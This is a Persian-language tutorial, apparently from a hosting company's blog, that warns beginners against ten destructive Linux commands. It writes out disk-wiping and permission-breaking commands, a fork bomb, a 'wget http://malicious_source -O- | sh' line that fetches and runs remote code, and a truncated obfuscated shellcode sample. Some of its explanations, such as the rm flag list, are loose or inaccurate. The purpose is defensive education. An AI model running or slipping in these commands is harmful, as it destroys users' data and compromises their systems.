لینوکس یک سیستم عامل منبع باز و پیشرفته است، به همین دلیل در بین کاربران و توسعه دهندگان بسیار محبوب است. ترمینال لینوکس ویژگیهایی را ارائه میدهد که کاربران از استفاده از چنین ویژگیهایی در رابط کاربری گرافیکی محروم هستند. توانایی استفاده از ویژگیهای ارزشمند ترمینال و اعمال تغییرات مورد نیاز از طریق خط فرمان یکی از دلایلی است. که اکثر کاربران ترجیح میدهند هنگام استفاده از سیستم لینوکس، با محیط ترمینال لینوکس کار کنند تا رابط کاربری گرافیکی لینوکس.
کاربران میتوانند تغییرات مورد نظر خود را با اجرای دستورات لینوکس در خط فرمان اعمال کنند. و این ویژگی لینوکس شگفتانگیز است، اما اگر تخصص کافی در کدنویسی نداشته باشند، اجرای برخی دستورات در لینوکس میتواند همراه با مشکلات و آسیبپذیریهای جبرانناپذیر زیادی باشد.
همانطور که توضیح دادیم، رابط خط فرمان لینوکس یکی از نقاط قوت و مزایای لینوکس در مقایسه با سایر سیستمعاملها است. که نقش مهمی در بهبود مدیریت سیستم عامل لینوکس ایفا میکند.
احتمال افتادن کاربران مبتدی در دام خطرات دستورات لینوکس بسیار زیاد است، زیرا آنها با دستورات لینوکس آشنایی کافی ندارند. و در هر لحظه امکان از کار افتادن سیستم آنها با اجرای یک دستور مخرب وجود دارد. در حالی که ما همیشه توصیه میکنیم از اجرای هر دستوری بدون داشتن دانش کامل در مورد دستورات لینوکس خودداری کنید؛ به ویژه پس از خرید یک سرور اختصاصی لینوکس، حتماً با دستورات لینوکس برای مدیریت بهتر سیستم لینوکس خود آشنا شوید.
حالا شما میپرسید چگونه میتوانیم دستورات جامع لینوکس را یاد بگیریم. نگران نباشید، فقط ۵-۱۰ دقیقه از وقت ارزشمند خود را به ما اختصاص دهید و با خواندن مقاله آموزشی ما با دستورات جامع لینوکس آشنا شوید. برای جلوگیری از آسیبپذیریهای جبرانناپذیر، در این مقاله دستورات خطرناک و مخرب لینوکس را به شما معرفی میکنیم تا بتوانید از اجرای این دستورات خودداری کنید و از دام خطرناک دستورات لینوکس دور بمانید. این مقاله همچنین برای کاربران حرفهای نیز مفید است، زیرا ممکن است شما را از دستوری که از خطرات آن آگاه نبودید، آگاه کند.
اگر آماده هستید، لیست دستورات خطرناک لینوکس که نباید اجرا شوند را به دقت مطالعه و حفظ کنید.
۱. دستور > /dev/sda
همیشه به خاطر داشته باشید که ارسال نتیجه خروجی هر دستوری به دیسک سخت یا پارتیشن خطراتی مانند پاک شدن دادههای روی دیسک سخت را به همراه دارد. اگر با سیستمهای فایل آشنا هستید، میدانید که /dev/sda یکی از پارتیشنهای درایو دیسک است که دادههای سیستم فایل را در خود ذخیره میکند.
دستور > /dev/sda در ادامه هر دستور دیگری، خروجی دستور را در بلوک /dev/sda روی دیسک سخت سیستم لینوکس شما جایگزین میکند. این باعث میشود دادههای سیستم فایل در بلوک /dev/sda با خروجی دستور جایگزین شود و باعث از کار افتادن و آسیب دیدن سیستم شما شود، و امکان بازیابی آن وجود نخواهد داشت.
دستورات زیر نمونههایی از اجرای دستور /dev/sda هستند که باعث جایگزینی پارتیشن شما و عواقب غیرقابل برگشت میشوند. به مثالهای زیر توجه کنید:
cat file.txt > /dev/sda
wget http://iranserver.com > /dev/sda
ls -la / > /dev/sda
توجه: به طور کلی، آدرس دهی اشتباه فایل لاگ یا استفاده از فاصله در نام فایل لاگ باعث بروز خطا میشود. برای مثال، به دستور زیر توجه کنید:
find / -iname "*.php" > /dev/sda1/ log.txt
با اجرای دستور بالا، به دلیل قرار دادن فاصله اضافی بین / در انتها و log.txt، به جای ذخیره خروجی دستور در فایل /dev/sda1/log.txt، خروجی دستور در بلوک /dev/sda1 ذخیره میشود. در نتیجه این اشتباه، اطلاعات درایو sda1 پاک شده و محتویات آن با اطلاعات دیگری جایگزین میشود.
۲. دستور rm -rf /
یکی از مزایای قابل تحسین لینوکس، توانایی حذف هر چیزی است که میخواهید از آن خلاص شوید. اما توسط ترولهای اینترنتی فریب نخورید تا با اجرای هر دستوری، فایلها را حذف کنید، زیرا گاهی اوقات دستورات خطرناکی به شما ارائه میشود که میتواند تمام محتویات دیسک سخت شما را پاک کند.
دستور rm با آرگومانهای مختلف امکان حذف فایلها و دایرکتوریها را فراهم میکند، بنابراین باید بسیار مراقب باشید که هنگام اجرای دستور rm با گزینههای مختلف، اشتباه جبرانناپذیری رخ ندهد. اجرای دستور rm -rf / با مجوز روت، خطر حذف تمام فایلها و دایرکتوریهای سیستم شما از ریشه (/) را به همراه دارد و در نتیجه این دستور، سیستم شما آسیب جدی خواهد دید. این دستور به شرح زیر است:
rm -rf /
برخی از آرگومانهایی که همراه با دستور rm برای حذف فایلها اجرا میشوند، به شرح زیر است:
– r: حذف بازگشتی در تمام زیرشاخهها، حتی پوشههای خالی
– f: حذف بازگشتی فایلها در دایرکتوریها و فایلهای فقط خواندنی
– rf/: حذف تمام دایرکتوریها و فایلها در دایرکتوری اصلی
– rf*: حذف بازگشتی فایلها در دایرکتوری ریشه/جاری
– rf: حذف تمام پوشهها و زیرپوشهها
توجه داشته باشید که اگر مجوز کاربر روت را نداشته باشید، اجرای دستور rm-rf/ خطر پاک کردن تمام فایلها و دایرکتوریها را به همراه نخواهد داشت و مشکلی ایجاد نمیکند. همچنین، با اجرای دستور rm، باید در شرایط خاصی خطا در حذف فایل دریافت کنید، اما هیچ تضمینی وجود ندارد که قبل از حذف فایلها و دایرکتوریها، خطایی دریافت کنید، بنابراین از اجرای دستور rm -rf / خودداری کنید.
۳. دستور chmod -R 777 /
همانطور که میدانید، لینوکس با استفاده از قابلیتهایی که دستور chmod ارائه میدهد، امکان همکاری چندین کاربر را به طور همزمان فراهم میکند که امکان تغییر مجوز دسترسی کاربران به فایلهای خاص را میدهد. دستور chmod -R 777 / به تمام کاربران اجازه میدهد تا در فایلهای اصلی مانند فایلهای پیکربندی، خواندن، نوشتن و اجرا داشته باشند که این امر منجر به ریسکهای امنیتی جدی برای سیستم لینوکس میشود، زیرا تمام کاربران میتوانند به راحتی به محتویات فایلهای اصلی سیستم دسترسی داشته باشند و همچنین میتوانند در آنها تغییراتی ایجاد کنند.
در نتیجه، راه برای سوءاستفاده برخی از کاربران که قصد مخرب دارند، باز خواهد شد که عواقب مطلوبی نخواهد داشت. بنابراین، از اجرای دستور زیر خودداری کنید:
chmod -R 777 /
باید توجه داشت که با اختصاص دادن مجوزها به تمام کاربران، ممکن است با مشکلاتی در راهاندازی سیستم مواجه شوید و برخی از سیستمها ممکن است با مشکلات جدی روبرو شوند.
۴. دستور بمب فرک (Fork Bomb)
سینتکس اصلی دستور بمب فرک به شرح زیر است:
:(){ :|:& };:
به دستور بالا توجه کنید. این اسکریپت عجیب یک دستور بازگشتی است که پس از اجرا، RAM و CPU سیستم شما را مصرف خواهد کرد. این دستور به طور مداوم در پسزمینه و پیشزمینه تکرار میشود. انجام مداوم این عملیات باعث میشود سیستم شما منجمد شود، زیرا با مصرف تمام منابع، سیستم شما را نابود میکند.
دستور بمب فرک همچنین به نام ویروس خرگوش یا وبیت (wabbit) نیز شناخته میشود که مانند یک حمله DOS عمل میکند. نحوه عملکرد این دستور به این صورت است که ابتدا دستور بمب فرک یک تابع با نام “:” ایجاد میکند، سپس با ایجاد محتویات تابع اجرا میشود و خروجی را به تابع دیگری از خودش ارسال میکند، و سپس در حالی که تابع در پیشزمینه در حال اجرا است، در پسزمینه نیز اجرا میشود و با تکرار این عملیات، منابع سیستم مصرف شده و سیستم دچار اختلال میشود.
اگر نمیخواهید سیستم شما منجمد شود، از اجرای این دستور خودداری کنید.
محدود کردن تعداد فرآیندهای در حال اجرای کاربران محلی، راه حل دیگری برای دفاع در برابر حمله ویروس خرگوش است. برای مثال، برای محدود کردن تعداد فرآیندهای انجام شده توسط کاربر محلی به ۶۰۰۰، میتوانید دستور زیر را وارد کنید:
ulimit -S -u 6000
در نهایت، تنها راه برای نجات سیستم لینوکس شما از این خطر، راهاندازی مجدد سختافزاری خواهد بود. بنابراین، اصلاً دستور بمب فرک را اجرا نکنید.
۵. دستور mkfs.ext3 /dev/sda
اگر از هدف اجرای دستور mkfs آگاه نیستید، میتواند به یک دستور خطرناک تبدیل شود که تمام دادههای ذخیره شده در یک پارتیشن را حذف میکند. دستور mkfs برای ایجاد یک سیستم فایل جدید در دستگاه مشخص شده اجرا میشود. هر چیزی که پس از mkfs تایپ شود، فرمت شده و با یک سیستم فایل لینوکس خالی جایگزین میشود.
اگرچه فرمت کردن پارتیشنهای دیسک مزایایی دارد، اما اگر کل دیسک سخت مانند /dev/sda فرمت شود، تمام دادهها پاک خواهد شد و سیستم قابل بازیابی نخواهد بود. دستور mkfs.ext3 /dev/sda پس از فرمت کردن کل دیسک سخت، سیستم فایل ext3 را ایجاد میکند که باعث میشود سیستم شما راهاندازی نشود و با خروجی “no bootable medium found? system halted” مواجه شوید. بنابراین، برای جلوگیری از نتایج مضر، باید از دستورات زیر خودداری کنید:
# mkfs.ext3 /dev/sda
# mkfs.ext4 /dev/sda
# mkfs.xfs /dev/sda
# mkfs.btrfs /dev/sda
۶. دستور mv folder /dev/null
یک روش احتیاطی دیگر این است که دایرکتوری یا فایل خود را بدون داشتن دانش لازم به هیچ فایلی منتقل نکنید. هر فایلی که به /dev/null، که به عنوان “سیاهچاله” نیز شناخته میشود، منتقل شود، از بین خواهد رفت. بنابراین، برای حفاظت از فایلهای خود هنگام انتقال آنها به فایل دیگر، دستور mv folder /dev/null را اجرا نکنید، زیرا این دستور فایل شما را به فایل /dev/null منتقل کرده و سپس اطلاعات دایرکتوری اصلی شما را حذف میکند.
۷. دستور > file
معادل دستور > file به شرح زیر است:
cat /dev/null > file
تغییر مسیر در سیستمهای لینوکس کاربردهای مفیدی دارد، اما همیشه باید مراقب باشید که در هنگام استفاده از عملگرهای تغییر مسیر، اشتباهی رخ ندهد. اجرای دستور >file برای تغییر مسیر دستور به فایل نیز منجر به حذف محتویات یک فایل سیستمی مهم میشود که میتواند نتایج نامطلوبی را به دنبال داشته باشد. در برخی موارد، این دستور برای پاک کردن محتویات یک فایل استفاده میشود که کارهای مدیران سیستم لینوکس را تسهیل میکند، اما در برخی موارد، اشتباه در استفاده از عملگرهای تغییر مسیر نتایج جبرانناپذیری خواهد داشت.
تصور کنید که محتویات فایل پیکربندی شما با یک اشتباه حذف شود و شما فایل را با صفحه سفید دریافت کنید، تصور این فاجعه نیز وحشتناک است. بنابراین، از اجرای این دستور خودداری کنید.
۸. دستور wget http://malicious_source -O- | sh
برای دانلود فایلها از وب از طریق محیط خط فرمان، از دستور Wget استفاده میشود. اما اجرای دستور wget http://malicious_source -O- | sh یک منبع مخرب و غیرقابل اعتماد را برای دانلود فایل شما انتخاب میکند و آن را اجرا میکند، در نتیجه سیستم شما را با ویروس یا بدافزار آلوده میکند. بنابراین از دستور wget http://malicious_source -O- | sh برای دانلود فایل از سرور یا وب استفاده نکنید. هنگام دانلود فایل، آدرس بسته را در ترمینال بررسی کنید تا از معتبر بودن منبع دانلود اطمینان حاصل کنید.
۹. دستور ^foo^bar
دستور ^foo^bar مانند یک سکه با دو روی است، یک روی آن مفید و روی دیگر آن پرخطر است. این دستور برای صرفهجویی در زمان برای ویرایش و اجرای مجدد دستورات قبلاً اجرا شده بسیار کارآمد است، اما تعداد کمی از افراد از مشکلات این دستور آگاه هستند. بنابراین، هنگام اجرای دستور ^foo^bar مراقب باشید، زیرا کوچکترین اشتباه در اجرای این دستور منجر به خطرات جبرانناپذیری میشود.
۱۰. دستورات پنهان (Hidden commands)
دستورات پنهان یکی از روشهای اجرای دستورات در ترمینال هستند که منتشر نمیشوند اما میتوانند در روتر اجرا شوند و همچنین بر اساس دستور rm-rf کدگذاری شدهاند. این دستورات برای اهداف خاصی اجرا میشوند که با پنهان کردن کد دستورات به صورت هگزا، باعث فریب کاربران میشوند، زیرا ممکن است نتوانید تهدیدات را با پنهان کردن کدها تشخیص دهید و در نهایت با نتیجه نامطلوبی مواجه خواهید شد. برای مثال، به دستور زیر توجه کنید:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
این دستور منجر به عواقب خطرناکی مانند پاک شدن پارتیشن ریشه سیستم شما میشود. بنابراین، اجرای دستورات پنهان توصیه نمیشود، زیرا شناسایی و شفافیت کدهایی که اجرا و دریافت میکنید، شما را از گرفتار شدن در دام تهدیدات و خطرات آزاد میکند. همچنین دستورات را از هر منبع ناشناختهای کپی و اجرا نکنید، قبل از اجرای دستورات مطمئن شوید که منبع معتبر است.
نتیجهگیری
در این مقاله، با دستورات مخرب و خطرناک لینوکس آشنا شدید، بنابراین به هیچ وجه این دستورات را در سرور اختصاصی لینوکس یا سیستم لینوکس خود اجرا نکنید، زیرا عواقب جبرانناپذیری خواهد داشت. توصیه ما به شما این است که دستوراتی را که با آنها آشنا نیستید اجرا نکنید و از منابع ناشناخته و غیرقابل اعتماد برای کامپایل یا اجرای فایلها استفاده نکنید. همچنین قبل از اجرای دستورات لینوکس در یک سرور اختصاصی لینوکس، میتوانید از ماشینهای مجازی برای آزمایش دستورات لینوکس استفاده کنید تا از آسیبهای مخرب به سیستم لینوکس خود جلوگیری کنید.
از شما متشکریم که تا انتهای این مقاله با ما همراه بودید. اگر تجربه ناخوشایندی با استفاده از سایر دستورات لینوکس که در لیست این مقاله ذکر نشده دارید، آنها را با ما و سایر کاربران در بخش نظرات به اشتراک بگذارید.